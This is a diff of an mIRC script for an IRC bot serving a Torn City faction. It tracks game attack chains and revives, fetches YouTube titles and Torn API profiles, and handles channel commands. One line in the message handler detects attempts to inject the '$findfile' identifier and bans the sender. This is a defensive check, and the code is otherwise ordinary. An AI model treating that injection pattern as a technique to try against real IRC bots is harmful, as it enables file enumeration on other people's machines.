+    var %key = $hget(tc.chsumm,%ptr).item, %val = $hget(tc.chsumm,%key)
+    if (%key != s) { aline @chainpost $tc.getname(%key) $gettok(%val,1,32) }    
+    inc %ptr
+  }
+  filter -twwceu 2 32 @chainpost @chainpostsort
+  msg $1 $tc.col(1) $+ List of Chainers:
+  var %ptr = 1, %loop = $line(@chainpostsort,0), %hitstot = 0, %chanlinenum = 1
+  while (%ptr <= %loop) {
+    var %read = $line(@chainpostsort,%ptr)
+    if ($gettok(%read,2,32) > 0) {
+      var %hitstot = $calc(%hitstot + %atks)
+      var %chanline = %chanline $+ $tc.col(2) $gettok(%read,1,32) $tc.col(1) $+ - $+ $tc.col(2) $gettok(%read,2,32) $tc.col(1) $+ hits $+ $chr(44)
+      inc %chanlinenum
+      if (%chanlinenum == 6) {
+        msg $1 %chanline
+        var %chanlinenum = 1
+        var %chanline = $null
+      }
+    }
+    inc %ptr
+  }
+  if (%chanline != $null) { msg $1 $left(%chanline,$calc($len(%chanline) - 1)) $+ $chr(46) } 
+  .timer0.tcflag.spam 1 $tc.gcd noop
+  window -c @chainpost | window -c @chainpostsort | hfree tc.chsumm
+}
+
+; Revive post
+; $1 = chan, $2 = chain id
+alias -l tc.chainrevpost {
+  var %chan = $1, %revtotal = 0
+  if ($2 == $null) { 
+    var %logfile = %tcchain.log, %chid = %tcchain.chid
+    if (%tcchain.revtot == 0) { msg $1 $tc.col(5) $+ There have been no revives recorded for this chain yet! | halt }
+  }
+  else { 
+    var %logfile = $tc.chlogfile($2), %chid = $2
+    if (!$exists(%logfile)) { msg $1 $tc.col(5) $+ No chain data for chain $+ $tc.col(2) %chid | halt }
+  }
+  if ($hget(tc.postrevtally)) { hfree tc.postrevtally }
+  hmake tc.postrevtally 100 | hload tc.postrevtally %logfile
+  window -hn @revtally | window -hn @revtallysort 
+  var %chanline = $null, %chanlinenum = 1, %ptr = 1, %maxloop = $hget(tc.postrevtally,0).item
+  while (%ptr <= %maxloop) {
+    var %key = $hget(tc.postrevtally,%ptr).item, %val = $hget(tc.postrevtally,%key)
+    if (%key != s) { aline @revtally $tc.getname(%key) $gettok(%val,5,32) }    
+    inc %ptr
+  }
+  filter -twwceu 2 32 @revtally @revtallysort
+  var %ptr = 1, %loop = $line(@revtallysort,0) | var %revtot = 0
+  if (%loop > 0) {
+    msg %chan $tc.col(1) $+ List of Revivers for chain $+ $tc.col(2) %chid $+ $tc.col(1) $+ :
+    while (%ptr <= %loop) {
+      var %read = $line(@revtallysort,%ptr), %name = $gettok(%read,1,32), %rev = $gettok(%read,2,32), %revtot = $calc(%revtot + %rev)
+      if (%rev > 0) {
+        var %chanline = %chanline $+ $tc.col(2) %name $tc.col(1) $+ - $+ $tc.col(2) %rev $tc.col(1) $+ revives $+ $chr(44)
+        inc %chanlinenum
+        inc %revtotal
+        if (%chanlinenum == 6) {
+          msg %chan %chanline
+          var %chanlinenum = 1, %chanline = $null
+        }
+      }
+      inc %ptr
+    }
+    if (%chanline != $null) { msg %chan $left(%chanline,$calc($len(%chanline) - 1)) $+ $chr(46) } 
+    msg %chan $tc.col(1) $+ That's a total of $+ $tc.col(2) %revtotal $tc.col(1) $+ revivers and $+ $tc.col(2) %revtot $tc.col(1) $+ total revives! 
+  } 
+  else { msg %chan $tc.col(5) $+ There were no revives recorded for chain $+ $tc.col(2) %chid }
+  window -c @revtally | window -c @revtallysort | hfree tc.postrevtally
+}
+
+alias -l tc.chaintwomin {
+  msg %tcchain.stchan $tc.col(2) $+ Two minutes $tc.col(1) $+ remain! Someone should make a hit soon. 
+  if (%tcchain.pinglist != $null) { msg %tcchain.stchan $tc.col(8) $+ Ping List: $+ $tc.col(4) %tcchain.pinglist }
+}
+
+; Adds offliner hits
+; $1 = quantity of hits
+alias -l tc.chainoffl { 
+  set %tcchain.hits $calc(%tcchain.hits + $1) 
+  if (%tcchain.hits > 0) {
+    if ($readini($tc.cfgfile,n,Chain,upg) == 0) { var %chmin = 5 }
+    elseif ($readini($tc.cfgfile,n,Chain,upg) == 1) { var %chmin = 5.5, %firstwarn = $tc.col(1) $+ Two minutes has elapsed since the last hit! $+ $tc.col(2) 3 $tc.col(1) $+ minutes and $+ $tc.col(2) 30 $tc.col(1) $+ seconds remain. }
+    else { var %chmin = $calc(4 + $readini($tc.cfgfile,n,Chain,upg)) }
+    var %dur = $calc(%chmin * 60) 
+    if (%firstwarn == $null) { var %firstwarn = $tc.col(1) $+ Two minutes has elapsed since the last hit! $+ $tc.col(2) $floor($calc((%dur - 120) / 60)) $tc.col(1) $+ minutes remain. }
+    .timer $+ 0.tcchain1 -co 1 120 msg %tcchain.stchan %firstwarn 
+    .timer $+ 0.tcchain2 -co 1 $calc(%dur - 120) tc.chaintwomin
+    .timer $+ 0.tcchain3 -co 1 $calc(%dur - 60) msg %tcchain.stchan $tc.col(7) $+ One minute remains! Someone should make a hit now!
+    .timer $+ 0.tcchain4 -co 1 $calc(%dur - 30) .notice %tcchain.stchan $tc.col(7) $+ THIRTY SECONDS REMAIN, SOMEONE MAKE A HIT NOW!
+    .timer $+ 0.tcchain5 -co 1 %dur msg %tcchain.stchan $tc.col(1) $+ Has the chain broken? Use $+ $tc.col(2) !chain off EndRespect $tc.col(1) $+ if so.
+    .timer $+ 0.tcchainend -co 1 $calc(%dur + (20 * 60)) tc.chainend
+    msg %tcchain.stchan $tc.col(1) $+ I have added $+ $tc.col(2) $tc.addComma($1) $tc.col(1) $+ new hits for offliners and reset the timers. $tc.col(8) $+ Chain Counter: $+ $tc.col(2) $tc.addComma(%tcchain.hits) $+ $tc.col(8) $+ /100. 
+  }
+  else { msg %tcchain.stchan $tc.col(1) $+ The first hit has been made by $+ $tc.col(7) an offliner $+ $tc.col(1) $+ ! One more hit is needed to start the chain timers. } 
+}
+
+; Chain control sub
+; $1 = code: h = hit, l = loss, s = stalemate, d = dko
+; $2 = chainers name
+; $3 = quantity of attacks
+; $4 = targets name (use ? if someone)
+alias -l tc.chainadd {
+  if ($hget(tc.atklist)) { .timer $+ 0.hitlistclr -co 1 $calc(20 * 60) tc.hitlistclr %tcchain.stchan }
+  if ($hget(tc.atklist,$2)) { hadd -m tc.atklist $2 $calc($hget(tc.atklist,$2) - 1) }
+  var %findid = $tc.getid($2)
+  if (%findid == $null) { msg %tcchain.stchan $tc.col(5) $+ I do not know who $+ $tc.col(2) $2 $tc.col(5) $+ is, please add their ID to the bot using !addid. If you just want to add offliner hits to reset timers, use $+ $tc.col(2) !offl (Num) | halt }
+  var %read = $hget(tc.chain,%findid)
+  if (%read != $null) { var %phits = $gettok(%read,1,32), %ploss = $gettok(%read,2,32), %pdko = $gettok(%read,3,32), %psm = $gettok(%read,4,32), %prev = $gettok(%read,5,32) }
+  if (%phits == $null) { var %phits = 0 } | if (%ploss == $null) { var %ploss = 0 } 
+  if (%psm == $null) { var %psm = 0 } | if (%pdko == $null) { var %pdko = 0 } | if (%prev == $null) { var %prev = 0 }
+  var %readcm = $hget(tc.chmonth,%findid)
+  if (%readcm != $null) { var %cmhits = $gettok(%readcm,1,32), %cmloss = $gettok(%readcm,2,32), %cmdko = $gettok(%readcm,3,32), %cmsm = $gettok(%readcm,4,32) }
+  if (%cmhits == $null) { var %cmhits = 0 } | if (%cmloss == $null) { var %cmloss = 0 } 
+  if (%cmsm == $null) { var %cmsm = 0 } | if (%cmdko == $null) { var %cmdko = 0 }
+  var %lhc = %tcchain.hits
+  if ($1 = h) {
+    set %tcchain.hits $calc(%tcchain.hits + $3) | var %phits = $calc(%phits + $3), %cmhits = $calc(%cmhits + $3)
+    if (%tcchain.hits > 0) {
+      if ($readini($tc.cfgfile,n,Chain,upg) == 0) { var %chmin = 5 }
+      elseif ($readini($tc.cfgfile,n,Chain,upg) == 1) { var %chmin = 5.5, %firstwarn = $tc.col(1) $+ Two minutes has elapsed since the last hit! $+ $tc.col(2) 3 $tc.col(1) $+ minutes and $+ $tc.col(2) 30 $tc.col(1) $+ seconds remain. }
+      else { var %chmin = $calc(4 + $readini($tc.cfgfile,n,Chain,upg)) }
+      var %dur = $calc(%chmin * 60) 
+      if (%firstwarn == $null) { var %firstwarn = $tc.col(1) $+ Two minutes has elapsed since the last hit! $+ $tc.col(2) $floor($calc((%dur - 120) / 60)) $tc.col(1) $+ minutes remain. }
+      if (!%tcchain.endless) {
+        .timer $+ 0.tcchain1 -co 1 120 msg %tcchain.stchan %firstwarn 
+        .timer $+ 0.tcchain2 -co 1 $calc(%dur - 120) tc.chaintwomin
+        .timer $+ 0.tcchain3 -co 1 $calc(%dur - 60) msg %tcchain.stchan $tc.col(7) $+ One minute remains! Someone should make a hit now!
+        .timer $+ 0.tcchain4 -co 1 $calc(%dur - 30) .notice %tcchain.stchan $tc.col(7) $+ THIRTY SECONDS REMAIN, SOMEONE MAKE A HIT NOW!
+        .timer $+ 0.tcchain5 -co 1 %dur msg %tcchain.stchan $tc.col(1) $+ Has the chain broken? Use $+ $tc.col(2) !chain off EndRespect $tc.col(1) $+ if so.
+        .timer $+ 0.tcchainend -co 1 $calc(%dur + (20 * 60)) tc.chainend %tcchain.stchan
+        .timer $+ 0.hitlistclr -co 1 $calc(%dur + (20 * 60)) tc.hitlistclr %tcchain.stchan
+      }
+      if ($3 > 1) { msg %tcchain.stchan $tc.col(1) $+ Nice! $+ $tc.col(2) $2 $tc.col(1) $+ has made $+ $tc.col(2) $tc.addComma($3) $tc.col(1) $+ new hits for a total of $+ $tc.col(2) $tc.addComma(%phits) $tc.col(1) $+ attacks this chain! $tc.col(8) $+ Chain Counter: $+ $tc.col(2) $tc.addComma(%tcchain.hits) $+ $tc.col(8) $+ /100. }
+      else { 
+        if ($4 != $chr(63)) {
+          msg %tcchain.stchan $tc.col(1) $+ Nice! $+ $tc.col(2) $2 $tc.col(1) $+ just beat down $+ $tc.col(6) $4 $tc.col(1) $+ for a total of $+ $tc.col(2) $tc.addComma(%phits) $tc.col(1) $+ attacks this chain! $tc.col(8) $+ Chain Counter: $+ $tc.col(2) $tc.addComma(%tcchain.hits) $+ $tc.col(8) $+ /100. 
+        }
+        else {
+          msg %tcchain.stchan $tc.col(1) $+ Nice! $+ $tc.col(2) $2 $tc.col(1) $+ has made a hit for a total of $+ $tc.col(2) $tc.addComma(%phits) $tc.col(1) $+ attacks this chain! $tc.col(8) $+ Chain Counter: $+ $tc.col(2) $tc.addComma(%tcchain.hits) $+ $tc.col(8) $+ /100.       
+        }
+      }
+    }
+    else { msg %tcchain.stchan $tc.col(1) $+ The first hit has been made by $+ $tc.col(2) $2 $+ $tc.col(1) $+ ! One more hit is needed to start the chain timers. } 
+  }
+  if (%tcchain.hits < 1) { var %hitpst = zero } | else { var %hitpst = $tc.col(2) $+ $tc.addComma(%tcchain.hits) $+ $tc.col(7) $+ /100 }
+  if ($1 = l) {
+    inc %tcchain.loss | inc %ploss | inc %cmloss
+    if ($4 != $chr(63)) {
+      msg %tcchain.stchan $tc.col(7) $+ Damn, $+ $tc.col(2) $2 $tc.col(7) $+ caught a beatdown from $4 $+ ! Chain counter is still at: %hitpst $+ !
+    } 
+    else {
+      msg %tcchain.stchan $tc.col(7) $+ Damn, $+ $tc.col(2) $2 $tc.col(7) $+ has lost! Chain counter is still at: %hitpst $+ !    
+    }
+  }
+  if ($1 = d) {
+    inc %tcchain.loss | inc %pdko | inc %cmdko
+    msg %tcchain.stchan $tc.col(7) $+ Damn, $+ $tc.col(2) $2 $tc.col(7) $+ has DKOed! Chain counter is still at: %hitpst $+ !
+  }
+  if ($1 = s) {
+    inc %tcchain.loss | inc %psm | inc %cmsm
+    msg %tcchain.stchan $tc.col(7) $+ Damn, $+ $tc.col(2) $2 $tc.col(7) $+ has stalemated! Chain counter is still at: %hitpst $+ !
+  }
+  hadd tc.chain %findid %phits %ploss %pdko %psm %prev
+  hadd tc.chmonth %findid %cmhits %cmloss %cmdko %cmsm
+  if ((%lhc == 4 && %tcchain.hits == 5) || (%lhc == 19 && %tcchain.hits == 20) || (%lhc == 44 && %tcchain.hits == 45) || (%lhc == 69 && %tcchain.hits == 70) || (%lhc == 94 && %tcchain.hits == 95)) { msg %tcchain.stchan $tc.col(8) $+ Note: The $+ $tc.col(2) $calc(%tcchain.hits + 5) $+ th $tc.col(8) $+ bonus attack is coming up in $+ $tc.col(2) five $tc.col(8) $+ attacks. }
+  if ((%lhc == 6 && %tcchain.hits == 7) || (%lhc == 21 && %tcchain.hits == 22) || (%lhc == 46 && %tcchain.hits == 47) || (%lhc == 71 && %tcchain.hits == 72) || (%lhc == 96 && %tcchain.hits == 97)) { 
+    if ($readini($tc.cfgfile,n,Chain,bonus) == $null) { var %bonusfact = $tc.col(5) $+ not set } | else { var %bonusfact = $readini($tc.cfgfile,n,Chain,bonus) }
+    msg %tcchain.stchan $tc.col(8) $+ Plan the $+ $tc.col(2) $calc(%tcchain.hits + 3) $+ th $tc.col(8) $+ bonus hit now, it is in $+ $tc.col(2) three $tc.col(8) $+ attacks! Bonus faction is: $+ $tc.col(2) %bonusfact 
+  }
+  if ((%lhc == 8 && %tcchain.hits == 9) || (%lhc == 23 && %tcchain.hits == 24) || (%lhc == 48 && %tcchain.hits == 49) || (%lhc == 73 && %tcchain.hits == 74) || (%lhc == 98 && %tcchain.hits == 99)) { 
+    if ($readini($tc.cfgfile,n,Chain,bonus) == $null) { msg %tcchain.stchan $tc.col(4) $+ Careful! The $+ $tc.col(2) $calc(%tcchain.hits + 1) $+ th $tc.col(4) $+ bonus hit is $+ $tc.col(2) next attack $+ $tc.col(4) $+ , make sure it is on the correct faction! }  
+    else { msg %tcchain.stchan $tc.col(4) $+ Careful! The $+ $tc.col(2) $calc(%tcchain.hits + 1) $+ th $tc.col(4) $+ bonus hit is $+ $tc.col(2) next attack $+ $tc.col(4) $+ , make sure it is on $+ $tc.col(2) $readini($tc.cfgfile,n,Chain,bonus) $+ $tc.col(4) $+ ! }
+  }
+  if ((%lhc == 9 && %tcchain.hits == 10) || (%lhc == 24 && %tcchain.hits == 25) || (%lhc == 49 && %tcchain.hits == 50) || (%lhc == 74 && %tcchain.hits == 75) || (%lhc == 99 && %tcchain.hits == 100)) { msg %tcchain.stchan $tc.col(1) $+ Well done $+ $tc.col(2) $2 $+ $tc.col(1) $+ ! You and the faction received an extra $+ $tc.col(2) %tcchain.hits $tc.col(1) $+ respect! }
+}
+
+alias -l tc.chainstalk { 
+  if ($readini($tc.cfgfile,n,Chain,stalk) != $null) { msg $1 $tc.col(1) $+ Stalkers: $+ $tc.col(2) $readini($tc.cfgfile,n,Chain,stalk) } 
+  .timer $+ 0.tcchainstalkers -co 1 $calc(20 * 60) tc.chainstalk $1
+}
+
+alias -l tc.chainsumm {
+  var %summ = $tc.col(1) $+ The chain is currently on $tc.col(2) $+ $tc.addComma(%tcchain.hits) $+ $tc.col(1) attacks
+  if ($readini($tc.cfgfile,n,Chain,bonus) != $null) { var %summ = %summ $+ $tc.col(1) $+ , bonuses go on: $tc.col(2) $+ $readini($tc.cfgfile,n,Chain,bonus) }
+  if ($readini($tc.cfgfile,n,Chain,clead) != $null) { var %summ = %summ $+ $tc.col(1) $+ , the current chain leader is: $tc.col(2) $+ $readini($tc.cfgfile,n,Chain,clead) }
+  if ($readini($tc.cfgfile,n,Chain,stalk) != $null) { var %summ = %summ $+ $tc.col(1) $+ , stalkers are: $tc.col(2) $+ $readini($tc.cfgfile,n,Chain,stalk) }
+  return %summ $+ $tc.col(1) $+ $chr(46)
+}
+
+; --------------------------------- socket code ---------------------------------
+
+; format post for youtube links
+; $1- = title info
+alias -l tc.ytpost { return 00,04YouTube! 04- $remove($1-,- YouTube) }
+
+on *:sockopen:youtube:{
+  if ($sockerr) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr } 
+  else {
+    sockwrite -nt $sockname GET %tc.ytlink HTTP/1.1
+    sockwrite -nt $sockname Host: www.youtube.com
+    sockwrite -nt $sockname $crlf
+  }
+}
+
+on *:sockread:youtube:{
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr } 
+  else {
+    var %read | sockRead %read | var %readln $remove(%read, $chr(9))  
+    ;write $qt($scriptdirtest.htm) %readln        
+    if ($regex(%readln,\Q<title>\E(.+?)\Q</title>\E)) { 
+      msg %tc.ytchan $tc.ytpost($regml(1)) 
+      unset %tc.yt*
+      sockclose youtube
+    }
+  }
+}
+
+on *:sockclose:youtube:{ unset %tc.yt* }
+
+on *:sockopen:spyprof:{
+  if ($sockerr) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr } 
+  else {
+    if (%tc.spy != $null) { var %table = spy. $+ %tc.spy, %addedby = %tc.spy }
+    else { var %table = spy. $+ %tc.oldspy, %addedby = %tc.oldspy }   
+    sockwrite -nt $sockname GET /user/ $+ $hget(%table,id) $+ ?selections=profile&key= $+ $tc.getapikey HTTP/1.1
+    sockwrite -nt $sockname Host: api.torn.com
+    sockwrite -nt $sockname $crlf
+  }
+}
+
+on *:sockread:spyprof:{
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr } 
+  else {
+    var %read | sockRead %read | var %readln $remove(%read, $chr(9))  
+    ;write $qt($scriptdirtest.htm) %readln
+    if (%tc.spy != $null) { var %table = spy. $+ %tc.spy, %addedby = %tc.spy }
+    else { var %table = spy. $+ %tc.oldspy, %addedby = %tc.oldspy } 
+    if ($regex(%readln,error":"(.+?)")) { 
+      msg %tc.spychan $tc.col(5) $+ API Error: $regml(1) 
+      tc.spywrite
+    }
+    if ($regex(%readln,level":(.+?)")) { set %tcsprof.lvl $tc.cleanN($regml(1)) }    
+    if ($regex(%readln,faction_name":"(.+?)")) { set %tcsprof.fact $tc.cleanW($regml(1)) }
+    if ((%tcsprof.lvl != $null) && (%tcsprof.fact != $null)) { tc.spywrite }
+  }
+}
+
+on *:sockclose:spyprof:{ tc.spywrite }
+
+alias -l tc.profstr { 
+  ; broke it up to make it easier to read.
+
+  ; check for online/offline status (api doesnt return it, so determine it)
+  if ($gettok(%tcprof.last,2,32) == minute || $gettok(%tcprof.last,2,32) == minutes) {
+    if ($gettok(%tcprof.last,1,32) <= 15) { set %tcprof.ol $tc.col(6) $+ [On] }
+    else { set %tcprof.ol $tc.col(7) $+ [Off] }
+  }
+  else { set %tcprof.ol $tc.col(7) $+ [Off] }
+
+  ; fix a few odd chars
+  set %tcprof.fact $replace(%tcprof.fact,&#33;,$chr(33))
+  set %tcprof.fact $replace(%tcprof.fact,&#39;,$chr(39))
+  set %tcprof.fact $replace(%tcprof.fact,&#40;,$chr(40))
+  set %tcprof.fact $replace(%tcprof.fact,&#41;,$chr(41))
+
+  ; then replace a few longer strings with shorter forms
+  set %tcprof.status $replace(%tcprof.status,In hospital,Hosp)
+  set %tcprof.status $remove(%tcprof.status,- Hospitalized)
+  set %tcprof.status $replace(%tcprof.status,In jail,Jail)
+  set %tcprof.status $replace(%tcprof.status,In federal jail,Fed)
+  set %tcprof.status $replace(%tcprof.status,Was caught trying to break out,Caught busting)  
+  set %tcprof.status $replace(%tcprof.status,currently okay,okay)
+  set %tcprof.status $replace(%tcprof.status,1 hrs,1 hr)
+  set %tcprof.status $replace(%tcprof.status,1 mins,1 min)
+  set %tcprof.status $replace(%tcprof.status,$+($chr(34),$chr(44),$chr(34)),$+($chr(32),$chr(45),$chr(32)))
+  set %tcprof.last $replace(%tcprof.last,minutes,mins,minute,min)
+  set %tcprof.prop $replace(%tcprof.prop,Private Island,PI)
+
+  if ($right(%tcprof.status,1) == $chr(45)) { set %tcprof.status $left(%tcprof.status,-1) }
+
+  ; make life colored
+  if (%tcprof.lifecur <= 1) { var %lifecol = 7 } 
+  elseif (%tcprof.lifecur == %tcprof.lifemax) { var %lifecol = 6 }
+  else { var %lifecol = 2 }
+
+  ; make the age display more useful
+  if (%tcprof.age >= 365) { 
+    var %yr = 0
+    var %dy = %tcprof.age
+    while (%dy >= 365) {
+      inc %yr
+      var %dy = $calc(%dy - 365)
+    }
+    if (%dy = 0) { var %agestring = $tc.col(6) $+ %yr $+ y }
+    else { var %agestring = %yr $+ y %dy $+ d }
+  }
+  else { var %agestring = $tc.addComma(%tcprof.age) }
+
+  ; add a percentage to life
+  var %lifeperc $round($calc((%tcprof.lifecur / %tcprof.lifemax) * 100),0)
+
+  ; colorize specific parts if needed
+  if ((%tcprof.fact == None) && (%tcprof.facrank == None)) { 
+    var %facstr $tc.col(7) $+ None 
+  }
+  else { 
+    if ($readini($tc.cfgfile,Config,faction) == %tcprof.fact) { var %faccol 6 }
+    else { var %faccol 2 }
+    var %facstr $tc.col(%faccol) $+ %tcprof.facrank $tc.col(1) $+ of $+ $tc.col(%faccol) %tcprof.fact 
+  }
+  if (%tcprof.spname == None && %tcprof.spdur == 0) { var %spstr $tc.col(7) $+ None }
+  else { var %spstr $tc.col(2) $+ %tcprof.spname $tc.col(8) $+ (for %tcprof.spdur $+ d) }
+
+  if (okay isin %tcprof.status) { set %tcprof.status $tc.col(6) $+ %tcprof.status }
+  else if (Jail for isin %tcprof.status) { set %tcprof.status $tc.col(7) $+ %tcprof.status }
+  else if (Fed for isin %tcprof.status) { set %tcprof.status $tc.col(7) $+ %tcprof.status }
+  else if (Hosp for isin %tcprof.status) { set %tcprof.status $tc.col(7) $+ %tcprof.status }  
+  else { set %tcprof.status $tc.col(2) $+ %tcprof.status }  
+
+  ; now format output string
+  var %out = $tc.col(2) $+ %tcprof.name $tc.colid(%tcprof.id,1,2) %tcprof.ol
+  if (%tcprof.don == 1) { var %out = %out $tc.col(6) $+ $chr(42) }
+  var %out = %out $+ $tc.col(1) ( $+ $tc.col(2) $+ %tcprof.sex
+  var %out = %out $+ $tc.col(1) $+ , Level: $+ $tc.col(2) %tcprof.lvl  
+  var %out = %out $+ $tc.col(1) $+ , Title: $+ $tc.col(2) %tcprof.rank
+  var %out = %out $+ $tc.col(1) $+ , Age: $+ $tc.col(2) %agestring 
+  if (%tcprof.age >= 365) { var %out = %out $tc.col(8) $+ ( $+ %tcprof.age $+ ) }
+  var %out = %out $+ $tc.col(1) $+ , Spouse: %spstr
+  var %out = %out $+ $tc.col(1) $+ , Prop: $+ $tc.col(2) %tcprof.prop
+  var %out = %out $+ $tc.col(1) $+ , Fac: %facstr 
+  var %out = %out $+ $tc.col(1) $+ , Life: $+ $tc.col(%lifecol) $tc.addComma(%tcprof.lifecur) $+ $tc.col(1) $+ / $+ $tc.col(%lifecol) $+ $tc.addComma(%tcprof.lifemax) $tc.col(8) $+ ( $+ %lifeperc $+ $chr(37) $+ )
+  var %out = %out $+ $tc.col(1) $+ , A: $+ $tc.col(2) $+ %tcprof.award $+ $tc.col(1) $+ /F: $+ $tc.col(6) $+ %tcprof.friend $+ $tc.col(1) $+ /E: $+ $tc.col(7) $+ %tcprof.enemy 
+  var %out = %out $+ $tc.col(1) $+ , Seen: $+ $tc.col(2) %tcprof.last
+  var %out = %out $+ $tc.col(1) $+ , Status: %tcprof.status
+  var %out = %out $+ $tc.col(1) $+ ) 
+  return %out
+}
+
+;
+; API profile grabber. New hotness.
+;
+
+on *:sockopen:apiprofile:{
+  if ($sockerr) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr } 
+  else {
+    sockwrite -nt apiprofile GET /user/ $+ %tcprof.find $+ ?selections=profile&key= $+ $tc.getapikey HTTP/1.1
+    sockwrite -nt apiprofile Host: api.torn.com
+    sockwrite -nt apiprofile $crlf
+  }
+}
+
+on *:sockread:apiprofile:{
+  if ($sockerr) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr } 
+  else {
+    var %read | sockRead %read | var %readln $remove(%read, $chr(9))  
+    ;write $qt($scriptdir $+ test.txt) %readln
+    if ($regex(%readln,error":"(.+?)")) { set %tcprof.err $regml(1) }
+    if ($regex(%readln,rank":"(.+?)")) { set %tcprof.rank $regml(1) }
+    if ($regex(%readln,level":(.+?)")) { set %tcprof.lvl $remove($regml(1),$chr(44)) }
+    if ($regex(%readln,gender":"(.+?)")) { set %tcprof.sex $regml(1) }
+    if ($regex(%readln,property":"(.+?)")) { set %tcprof.prop $regml(1) }
+    if ($regex(%readln,status":\["(.+?)"\])) { set %tcprof.status $tc.cleanH($regml(1)) }
+    if ($regex(%readln,awards":(.+?)")) { set %tcprof.award $tc.cleanN($regml(1)) }
+    if ($regex(%readln,friends":(.+?)")) { set %tcprof.friend $tc.cleanN($regml(1)) }
+    if ($regex(%readln,enemies":(.+?)")) { set %tcprof.enemy $tc.cleanN($regml(1)) }
+    if ($regex(%readln,age":(.+?)")) { set %tcprof.age $tc.cleanN($regml(1)) }
+    if ($regex(%readln,donator":1)) { set %tcprof.don 1 }
+    if ($regex(%readln,player_id":(.+?)\")) { set %tcprof.id $tc.cleanN($regml(1)) }
+    if ($regex(%readln,name":"(.+?)")) { set %tcprof.name $regml(1) }    
+    if ($regex(%readln,last_action":"(.+?)")) { set %tcprof.last $regml(1) }
+    if ($regex(%readln,current":(.+?)")) { set %tcprof.lifecur $tc.cleanN($regml(1)) }
+    if ($regex(%readln,maximum":(.+?)")) { set %tcprof.lifemax $tc.cleanN($regml(1)) }
+    if ($regex(%readln,faction_name":"(.+?)")) { set %tcprof.fact $regml(1) }
+    if ($regex(%readln,faction":{"position":"(.+?)")) { set %tcprof.facrank $regml(1) }
+    if ($regex(%readln,spouse_name":"(.+?)")) { set %tcprof.spname $regml(1) }
+    if ($regex(%readln,duration":(.+?)})) { set %tcprof.spdur $tc.cleanN($regml(1)) }
+    if ($regex(%readln,}})) { tc.profclose 1 }
+  }
+}
+
+; calls on close socket or at the end of a string, whichever comes first.
+; helps avoid the timeout glitch. If called with $1 == 1, it forces a sockclose.
+alias -l tc.profclose {
+  if (%tcprof.err != $null) { msg %tcprof.chan $tc.col(5) $+ Error: $+ $tc.col(2) %tcprof.err } 
+  else { 
+    if (%tcprof.name != $null && %tcprof.id != $null) {
+      msg %tcprof.chan $tc.profstr 
+      msg %tcprof.chan $tc.col(1) $+ Link: $+ $tc.col(2) https://www.torn.com/profiles.php?XID= $+ %tcprof.id
+    }
+    else { msg %tcprof.chan $tc.col(5) $+ Sorry, the API returned gibberish that I could not parse properly. Please try again. }
+  }
+  if (%tcprof.name != $null && %tcprof.id != $null) {
+    if ($readini($tc.cfgfile,Config,findadd) == yes || $strip(%tcprof.fact) == $readini($tc.cfgfile,Config,faction) ) { 
+      var %retid = $tc.getid(%tcprof.name)
+      if (%retid == $null) { 
+        hadd -m tc.ids %tcprof.name %tcprof.id            
+        hsave tc.ids $tc.idsfile
+        msg %tcprof.chan $tc.col(1) $+ Automatically adding $+ $tc.col(2) %tcprof.name $tc.colid(%tcprof.id,1,2) $tc.col(1) $+ to the bot.
+      }
+    }
+  }
+  if ($1 == 1) { sockclose apiprofile }
+  unset %tcprof.* | unset %tcprofsw.*
+}
+
+on *:sockclose:apiprofile:{ tc.profclose }
+
+; --------------------------------- channel join code ---------------------------------
+
+on *:join:%tc.chan: { 
+  var %id = $tc.getid($nick) 
+  if (%id != $null) {
+    if ($gettok($tc.getset(%id,bday),1,32) == $asctime($tc.time,mmm) && $gettok($tc.getset(%id,bday),2,32) == $asctime($tc.time,d)) {
+      var %yr = $gettok($tc.getset(%id,bday),3,32)
+      if (%yr != $null) { var %bdaymsg = $tc.col(4) $+ Happy $+ $tc.col(2) $ord($calc($asctime($tc.time,yyyy) - %yr)) $tc.col(4) $+ Birthday $+ $tc.col(2) $nick $+ $tc.col(4) $+ ! }
+      else { var %bdaymsg $tc.col(4) $+ Happy Birthday $+ $tc.col(2) $nick $+ $tc.col(4) $+ ! }
+      if ($findtok(%tc.chan,$chan,1,44) != $null) { msg $chan %bdaymsg }
+    }
+  }
+  if ($chan == %tcchain.stchan && %tcchain.hits > 0) {     
+    .notice $nick $tc.col(1) $+ Welcome $tc.col(2) $+ $nick $+ $tc.col(1) $+ ! $tc.chainsumm
+  }
+}     
+
+; --------------------------------- channel text code ---------------------------------
+
+on *:text:*:#: { 
+  ;
+  ; run config file check sub first on any text. Yes it's spammy, it's meant to be.
+  ;
+  tc.cfgcheck
+
+  ;
+  ; Certain commands we want to allow control codes through. Rest can be stripped out to improve parser legibility.
+  ;
+  var %nostripcomm !banker !bankers !setbanker !setbankers
+  if ($istok(%nostripcomm,$1,32)) {
+    tokenize 32 $replace($1-, $chr(9), $chr(32), $chr(194), $chr(32), $chr(160), $chr(32))
+  }
+  else {
+    tokenize 32 $strip($replace($1-, $chr(9), $chr(32), $chr(194), $chr(32), $chr(160), $chr(32)))
+  }
+
+  if (($eval($findfile,0) isin $1-) && ($chr(40) isin $1-)) {
+    msg # $tc.col(5) $+ Where's the kaboom? There was supposed to be an earth-shattering kaboom!
+    .timer 1 1 msg # $tc.col(5) $+ My Illudium Q-36 Explosive Space Modulator!
+    .timer 1 1 .mode # +b $address($nick,3)
+    .timer 1 2 .kick # $nick That creature has stolen the space modulator!
+    halt
+  }
+
+  ;
+  ; revive channel code, needs to be outside of the master chan list stuff
+  ;
+  if ($findtok($+(%tcchain.stchan,$chr(44),%tcchain.revchan),#,1,44)) {
+    if ($1 == !revfail) {
+      if (# == %tcchain.stchan) { msg # $tc.col(5) $+ Erm, ok? Tell them yourself? | halt }
